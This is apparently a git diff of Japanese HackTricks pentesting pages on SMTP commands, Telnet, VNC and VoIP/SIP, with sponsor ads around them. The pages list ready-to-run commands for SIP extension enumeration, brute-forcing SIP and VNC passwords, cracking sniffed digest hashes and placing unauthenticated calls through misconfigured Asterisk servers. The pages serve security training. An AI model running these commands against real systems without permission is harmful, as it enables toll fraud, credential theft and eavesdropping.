{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
**コマンドの出典:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/) **コマンドの出典:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
**HELO**\ **HELO**\
最初のSMTPコマンドです送信者サーバーを識別して会話を開始し、一般的にはそのドメイン名が続きます。 最初のSMTPコマンドです送信者サーバーを特定し、一般的にそのドメイン名が続きます。
**EHLO**\ **EHLO**\
会話を開始するための代替コマンドで、サーバーが拡張SMTPプロトコルを使用していることを示します。 会話を開始するための代替コマンドで、サーバーが拡張SMTPプロトコルを使用していることを示します。
@ -39,7 +41,7 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
このSMTPコマンドは、添付されたメールの推定サイズバイト単位をリモートサーバーに通知します。また、サーバーが受け入れるメッセージの最大サイズを報告するためにも使用できます。 このSMTPコマンドは、添付されたメールの推定サイズバイト単位をリモートサーバーに通知します。また、サーバーが受け入れるメッセージの最大サイズを報告するためにも使用できます。
**DATA**\ **DATA**\
DATAコマンドでメールの内容の転送が始まります一般的には、実際の転送を開始する許可を与える354の応答コードがサーバーから返されます。 DATAコマンドでメールの内容の転送が始まります一般的に、サーバーから354の応答コードが続き、実際の転送を開始する許可が与えられます。
**VRFY**\ **VRFY**\
特定のメールアドレスまたはユーザー名が実際に存在するかどうかを確認するようサーバーに要求します。 特定のメールアドレスまたはユーザー名が実際に存在するかどうかを確認するようサーバーに要求します。
@ -48,36 +50,38 @@ DATAコマンドでメールの内容の転送が始まります一般的に
このコマンドは、クライアントとサーバーの役割を反転させるために使用され、新しい接続を実行する必要はありません。 このコマンドは、クライアントとサーバーの役割を反転させるために使用され、新しい接続を実行する必要はありません。
**AUTH**\ **AUTH**\
AUTHコマンドを使用して、クライアントはサーバーに対して自分自身を認証し、ユーザー名とパスワードを提供します。これは、適切な転送を保証するための別のセキュリティ層です。 AUTHコマンドを使用して、クライアントはサーバーに対して自分自身を認証し、ユーザー名とパスワードを提供します。適切な転送を保証するための別のセキュリティ層です。
**RSET**\ **RSET**\
進行中のメール転送が終了することをサーバーに通知しますが、SMTP会話は終了しませんQUITの場合のように 進行中のメール転送が終了することをサーバーに通知しますが、SMTP会話は終了しませんQUITの場合のように
**EXPN**\ **EXPN**\
このSMTPコマンドは、メーリングリストの識別に関する確認を要求します。 このSMTPコマンドは、メーリングリストの識別に関する確認を要求します。
**HELP**\ **HELP**\
これは、メールの成功した転送に役立つ情報を求めるクライアントのリクエストです。 メールの成功した転送に役立つ情報を求めるクライアントのリクエストです。
**QUIT**\ **QUIT**\
SMTP会話を終了します。 SMTP会話を終了します。
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>

View file

@ -17,7 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンからレポーティングまでの機能を提供します。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### Get a hacker's perspective on your web apps, network, and cloud
**重要な、悪用可能な脆弱性を見つけて報告し、実際のビジネスに影響を与えます。** 私たちの20以上のカスタムツールを使用して、攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -39,11 +41,11 @@ nc -vn <IP> 23
```bash ```bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP> nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
``` ```
The script `telnet-ntlm-info.nse` は NTLM 情報 (Windows バージョン) を取得します。 スクリプト `telnet-ntlm-info.nse` は NTLM 情報 (Windows バージョン) を取得します。
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) から: TELNET プロトコルには、ユーザーとサーバーが TELNET 接続のためにより複雑な (または単に異なる) 一連の規約を使用することに合意できるようにするために、"**DO, DON'T, WILL, WON'T**" 構造と共に使用されるさまざまな "**options**" があります。これらのオプションには、文字セットの変更、エコーモードの変更などが含まれる可能性があります。 [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) から: TELNET プロトコルには、ユーザーとサーバーが TELNET 接続のためにより複雑な (または単に異なる) 一連の規約を使用することに合意できるように、"**DO, DON'T, WILL, WON'T**" 構造を使用して承認されるさまざまな "**options**" があります。このようなオプションには、文字セットの変更、エコーモードの変更などが含まれる可能性があります。
**このオプションを列挙することが可能であることは知っていますが、方法がわからないので、知っているは教えてください。** **このオプションを列挙することが可能であることは知っていますが、方法がわからないので、知っている場合は教えてください。**
### [ブルートフォース](../generic-methodologies-and-resources/brute-force.md#telnet) ### [ブルートフォース](../generic-methodologies-and-resources/brute-force.md#telnet)
@ -87,7 +89,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンからレポーティングまで対応しています。私たちはペンテスターを置き換えるのではなく、彼らに深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すために、カスタムツール、検出およびエクスプロイトモジュールを開発しています。 #### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -101,7 +105,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するに、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,6 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
{% embed url="https://www.stmcyber.com/careers" %}
## 基本情報 ## 基本情報
**Virtual Network Computing (VNC)** は、**Remote Frame Buffer (RFB)** プロトコルを利用して、別のコンピュータとのリモートコントロールとコラボレーションを可能にする堅牢なグラフィカルデスクトップ共有システムです。VNCを使用すると、ユーザーはキーボードとマウスのイベントを双方向に送信することで、リモートコンピュータとシームレスに対話できます。これにより、リアルタイムでのアクセスが可能になり、ネットワークを介した効率的なリモート支援やコラボレーションが促進されます。 **Virtual Network Computing (VNC)** は、**Remote Frame Buffer (RFB)** プロトコルを利用して、別のコンピュータとのリモートコントロールとコラボレーションを可能にする堅牢なグラフィカルデスクトップ共有システムです。VNCを使用すると、ユーザーはキーボードとマウスのイベントを双方向に送信することで、リモートコンピュータとシームレスに対話できます。これにより、リアルタイムでのアクセスが可能になり、ネットワークを介した効率的なリモート支援やコラボレーションが促進されます。
@ -39,7 +45,7 @@ vncviewer [-passwd passwd.txt] <IP>::5901
デフォルトの**パスワードは保存されています**: \~/.vnc/passwd デフォルトの**パスワードは保存されています**: \~/.vnc/passwd
VNCパスワードを持っていて、それが暗号化されているように見える場合数バイト、暗号化されたパスワードのように見える場合)、それはおそらく3desで暗号化されています。平文のパスワードは[https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)を使用して取得できます。 VNCパスワードを持っていて、それが暗号化されているように見える場合数バイト、暗号化されたパスワードのように、おそらく3desで暗号化されています。平文のパスワードは[https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)を使用して取得できます。
```bash ```bash
make make
vncpwd <vnc password file> vncpwd <vnc password file>
@ -54,15 +60,21 @@ vncpwd <vnc password file>
* `port:5900 RFB` * `port:5900 RFB`
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。**

View file

@ -15,6 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**重要な、悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## VoIP 基本情報 ## VoIP 基本情報
VoIPの仕組みについて学ぶには、以下を確認してください VoIPの仕組みについて学ぶには、以下を確認してください
@ -145,7 +153,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
Red Teamが最初に行うべきステップの一つは、OSINTツール、Google検索、またはウェブページのスクレイピングを使用して、会社に連絡するための利用可能な電話番号を検索することです。 Red Teamが最初に行うべきステップの一つは、OSINTツール、Google検索、またはウェブページのスクレイピングを使用して、会社に連絡するための利用可能な電話番号を検索することです。
電話番号がわかったら、オンラインサービスを使用してオペレーターを特定できます: 電話番号を取得したら、オンラインサービスを使用してオペレーターを特定できます:
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr) * [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/) * [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
@ -190,16 +198,16 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
``` ```
### OSINT情報 ### OSINT情報
VoIPソフトウェアを特定するのに役立つ他のOSINT列挙は、Red Teamにとって有益です。 VoIPソフトウェアを特定するのに役立つ他のOSINT列挙は、Red Teamにとって役立ちます。
### ネットワーク列挙 ### ネットワーク列挙
* **`nmap`** はUDPサービスのスキャンが可能ですが、スキャンされるUDPサービスの数が多いため、非常に遅く、この種のサービスに対してあまり正確ではないかもしれません * **`nmap`** はUDPサービスのスキャンが可能ですが、スキャンされるUDPサービスの数が多いため、非常に遅く、この種のサービスに対してあまり正確ではない可能性があります
```bash ```bash
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
``` ```
* **`svmap`** from SIPVicious (`sudo apt install sipvicious`): 指定されたネットワーク内のSIPサービスを特定します。 * **`svmap`** from SIPVicious (`sudo apt install sipvicious`): 指定されたネットワーク内のSIPサービスを特定します。
* `svmap`は**簡単にブロック**できます。なぜなら、User-Agent `friendly-scanner`を使用しているからですが、`/usr/share/sipvicious/sipvicious`のコードを変更して変更することができます。 * `svmap`は**簡単にブロック**できます。なぜなら、User-Agent `friendly-scanner`を使用するからですが、`/usr/share/sipvicious/sipvicious`のコードを変更することで修正できます。
```bash ```bash
# Use --fp to fingerprint the services # Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp] svmap 10.10.0.0/24 -p 5060-5070 [--fp]
@ -241,7 +249,7 @@ sippts enumerate -i 10.10.0.10
``` ```
### サーバーの応答の分析 ### サーバーの応答の分析
サーバーが私たちに返すヘッダーを分析することは非常に重要です。これは、私たちが送信するメッセージの種類やヘッダーによって異なります。 [**sippts**](https://github.com/Pepelux/sippts) の `SIPPTS send` を使用すると、すべてのヘッダーを操作してパーソナライズされたメッセージを送信し、応答を分析できます。 送信するメッセージの種類やヘッダーに応じて、サーバーが返すヘッダーを分析することは非常に重要です。 [**sippts**](https://github.com/Pepelux/sippts) の `SIPPTS send` を使用すると、すべてのヘッダーを操作してパーソナライズされたメッセージを送信し、応答を分析できます。
```bash ```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
``` ```
@ -257,7 +265,7 @@ PBXプライベートブランチ交換システムにおける拡張は
```bash ```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
``` ```
* **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS extenはSIPサーバー上の拡張を特定します。Sipextenは大規模なネットワークとポート範囲をチェックできます。 * **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS extenはSIPサーバー上の拡張機能を特定します。Sipextenは大規模なネットワークとポート範囲をチェックできます。
```bash ```bash
sippts exten -i 10.10.0.10 -r 5060 -e 100-200 sippts exten -i 10.10.0.10 -r 5060 -e 100-200
``` ```
@ -266,7 +274,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
``` ```
* **`enumiax` (`apt install enumiax`): enumIAX** はインターアスタリスク交換プロトコルの **ユーザー名ブルートフォース列挙ツール** です。enumIAX は、2つの異なるモードで動作することができます。シーケンシャルユーザー名推測または辞書攻撃。 * **`enumiax` (`apt install enumiax`): enumIAX** はインターアスタリスクエクスチェンジプロトコルの **ユーザー名ブルートフォース列挙ツール** です。enumIAXは、2つの異なるモードで動作することができます。シーケンシャルユーザー名推測または辞書攻撃。
```bash ```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10 enumiax -v -m3 -M3 10.10.0.10
@ -275,15 +283,15 @@ enumiax -v -m3 -M3 10.10.0.10
### パスワードブルートフォース - オンライン ### パスワードブルートフォース - オンライン
**PBX**といくつかの**拡張/ユーザー名**を発見した場合、Red Teamは一般的なパスワードの辞書を使用して、拡張に対して**`REGISTER`メソッド**を介して**認証を試みる**ことができます。 **PBX**といくつかの**拡張/ユーザー名**を発見した場合、Red Teamは一般的なパスワードの辞書を使用して、拡張子への**`REGISTER`メソッド**を介して**認証を試みる**ことができます。
{% hint style="danger" %} {% hint style="danger" %}
**ユーザー名**は拡張と同じである可能性がありますが、この慣行はPBXシステム、その設定、および組織の好みによって異なる場合があります... **ユーザー名**は拡張と同じである可能性がありますが、この慣行はPBXシステム、その設定、および組織の好みによって異なる場合があります...
ユーザー名が拡張と異なる場合は、**ブルートフォースするためのユーザー名を特定する必要があります**。 ユーザー名が拡張と異なる場合は、**ブルートフォースするためのユーザー名を特定する必要があります**。
{% endhint %} {% endhint %}
* **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrackは、PBX上の特定のユーザー名/拡張のパスワードをクラッキングすることを可能にします。 * **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrackは、PBX上の特定のユーザー名/拡張のパスワードをクラッキングすることを可能にします。
```bash ```bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
@ -302,16 +310,16 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
ネットワーク情報の中には、機器を管理するための**ウェブ認証情報**、ユーザーの**内線番号**、**ユーザー名**、**IP**アドレス、さらには**ハッシュ化されたパスワード**や**RTPパケット**が含まれており、これを再生して**会話を聞く**ことができます。 ネットワーク情報の中には、機器を管理するための**ウェブ認証情報**、ユーザーの**内線番号**、**ユーザー名**、**IP**アドレス、さらには**ハッシュ化されたパスワード**や**RTPパケット**が含まれており、これを再生して**会話を聞く**ことができます。
この情報を取得するために、Wiresharkやtcpdumpなどのツールを使用できますが、**VoIP会話をスニッフィングするために特別に作成されたツールは**[**ucsniff**](https://github.com/Seabreg/ucsniff)です。 この情報を取得するために、Wiresharkやtcpdumpなどのツールを使用できますが、**VoIP会話をスニッフィングするために特別に作成されたツールは** [**ucsniff**](https://github.com/Seabreg/ucsniff)です。
{% hint style="danger" %} {% hint style="danger" %}
**SIP通信にTLSが使用されている**場合、SIP通信をクリアで見ることはできません。\ **SIP通信にTLSが使用されている場合**、SIP通信をクリアで見ることはできません。\
**SRTP**や**ZRTP**が使用されている場合も同様で、**RTPパケットはクリアテキストではありません**。 **SRTP**や**ZRTP**が使用されている場合も同様で、**RTPパケットはクリアテキストではありません**。
{% endhint %} {% endhint %}
#### SIP認証情報パスワードブルートフォース - オフライン) #### SIP認証情報パスワードブルートフォース - オフライン)
[**SIP REGISTER通信**をよりよく理解するためのこの例を確認してください](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) **認証情報がどのように送信されるか**を学ぶために。 [この例を確認して、**SIP REGISTER通信**をよりよく理解し、**認証情報がどのように送信されるか**を学んでください。](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example)
* **`sipdump`** & **`sipcrack`,** **sipcrack**の一部(`apt-get install sipcrack`これらのツールは、SIPプロトコル内の**ダイジェスト認証**を**抽出**し、**ブルートフォース**することができます。 * **`sipdump`** & **`sipcrack`,** **sipcrack**の一部(`apt-get install sipcrack`これらのツールは、SIPプロトコル内の**ダイジェスト認証**を**抽出**し、**ブルートフォース**することができます。
```bash ```bash
@ -339,7 +347,7 @@ multimon -a DTMF -t wac pin.wav
``` ```
### 無料通話 / Asterisk接続の誤設定 ### 無料通話 / Asterisk接続の誤設定
Asteriskでは、**特定のIPアドレス**からの接続を許可することも、**任意のIPアドレス**からの接続を許可することも可能です: Asteriskでは、**特定のIPアドレスからの接続**または**任意のIPアドレスからの接続**を許可することが可能です:
``` ```
host=10.10.10.10 host=10.10.10.10
host=dynamic host=dynamic
@ -359,7 +367,7 @@ host=dynamic
* **`insecure=port,invite`**: 両方。 * **`insecure=port,invite`**: 両方。
{% hint style="warning" %} {% hint style="warning" %}
**`type=friend`**が使用されると、**host**変数の**値**は**使用されません**。したがって、管理者がその値を使用して**SIPトランクを誤設定**した場合、**誰でも接続できるようになります**。 **`type=friend`**が使用されると、**host**変数の**値**は**使用されません**。したがって、管理者がその値を使用して**SIPトランクを誤設定**すると、**誰でも接続できるようになります**。
例えば、この設定は脆弱です:\ 例えば、この設定は脆弱です:\
`host=10.10.10.10`\ `host=10.10.10.10`\
@ -375,7 +383,7 @@ Asteriskにおいて、**コンテキスト**はダイヤルプラン内の関
```bash ```bash
csharpCopy code[my_context] csharpCopy code[my_context]
``` ```
内部のコンテキストでは、拡張子(ダイヤルされた番号のパターン)を定義し、それを一連のアクションアプリケーションに関連付けます。これらのアクションは、通話がどのように処理されるかを決定します。例えば: コンテキストでは、拡張子(ダイヤルされた番号のパターン)を定義し、それを一連のアクションまたはアプリケーションに関連付けます。これらのアクションは、通話がどのように処理されるかを決定します。例えば:
```scss ```scss
[my_context] [my_context]
exten => 100,1,Answer() exten => 100,1,Answer()
@ -400,12 +408,12 @@ include => external
{% endhint %} {% endhint %}
{% hint style="danger" %} {% hint style="danger" %}
さらに、デフォルトで**`sip.conf`**ファイルには**`allowguest=true`**が含まれているため、**認証なし**の**任意の**攻撃者が他の番号に電話をかけることができます。 さらに、デフォルトで**`sip.conf`**ファイルには**`allowguest=true`**が含まれているため、**認証なしの**攻撃者が他の番号に電話をかけることができます。
{% endhint %} {% endhint %}
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS inviteは、**PBXサーバーが認証なしで通話を許可しているかどうかを確認します**。SIPサーバーに不正な設定がある場合、外部番号への通話を許可します。また、通話を第二の外部番号に転送することも可能です。 * **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS inviteは、**PBXサーバーが認証なしで通話を許可しているかどうかを確認します**。SIPサーバーに不正な設定がある場合、外部番号への通話を許可します。また、通話を第二の外部番号に転送することも可能です。
例えば、Asteriskサーバーに不適切なコンテキスト設定がある場合、認証なしでINVITEリクエストを受け入れることができます。この場合、攻撃者はユーザー名やパスワードを知らなくても通話を行うことができます。 例えば、あなたのAsteriskサーバーに不適切なコンテキスト設定がある場合、認証なしでINVITEリクエストを受け入れることができます。この場合、攻撃者はユーザー名やパスワードを知らなくても通話をかけることができます。
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -419,14 +427,14 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
### 無料通話 / 誤設定されたIVRS ### 無料通話 / 誤設定されたIVRS
IVRSは**インタラクティブ音声応答システム**を指し、ユーザーが音声またはトーン入力を通じてコンピュータ化されたシステムと対話することを可能にする電話技術です。IVRSは、情報提供、通話のルーティング、ユーザー入力の取得など、さまざまな機能を提供する**自動通話処理**システムを構築するために使用されます。 IVRSは**インタラクティブ音声応答システム**の略で、ユーザーが音声またはトーン入力を通じてコンピュータ化されたシステムと対話することを可能にする電話技術です。IVRSは、情報提供、通話のルーティング、ユーザー入力の取得など、さまざまな機能を提供する**自動通話処理**システムを構築するために使用されます。
VoIPシステムにおけるIVRSは通常、以下で構成されています VoIPシステムにおけるIVRSは通常、以下で構成されています
1. **音声プロンプト**ユーザーをIVRメニューオプションや指示に導く事前録音された音声メッセージ。 1. **音声プロンプト**ユーザーをIVRメニューオプションや指示に導くための事前録音された音声メッセージ。
2. **DTMF**デュアルトーン多周波信号電話のキーを押すことで生成されるトーン入力で、IVRメニューをナビゲートし、入力を提供するために使用されます。 2. **DTMF**(デュアルトーン多周波信号電話のキーを押すことで生成されるトーン入力で、IVRメニューをナビゲートし、入力を提供するために使用されます。
